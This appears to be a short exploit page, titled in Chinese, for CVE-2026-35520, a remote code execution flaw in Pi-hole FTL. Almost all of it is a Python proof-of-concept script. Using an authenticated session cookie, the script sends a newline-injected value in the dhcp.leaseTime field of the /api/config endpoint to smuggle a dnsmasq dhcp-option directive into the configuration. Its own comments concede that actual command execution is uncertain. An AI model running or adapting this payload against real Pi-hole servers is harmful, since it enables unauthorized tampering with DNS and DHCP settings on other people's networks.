CVE-2026-35520 Pi-hole FTL 远程代码执行漏洞

import requests # Target Pi-hole API endpoint url = "http://<target-ip>/api/config" # Attacker's session cookie (Authentication required) cookies = { "PHPSESSID": "<valid-session-cookie>" } # Malicious payload injecting a newline and a dnsmasq config directive # This example attempts to add a malicious dhcp-option # The actual command execution depends on dnsmasq configuration capabilities payload = { "dhcp.leaseTime": "24h\ndhcp-option=6,1.1.1.1" # Injecting newline + directive } headers = { "Content-Type": "application/json" } try: response = requests.post(url, json=payload, headers=headers, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check if configuration was updated.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")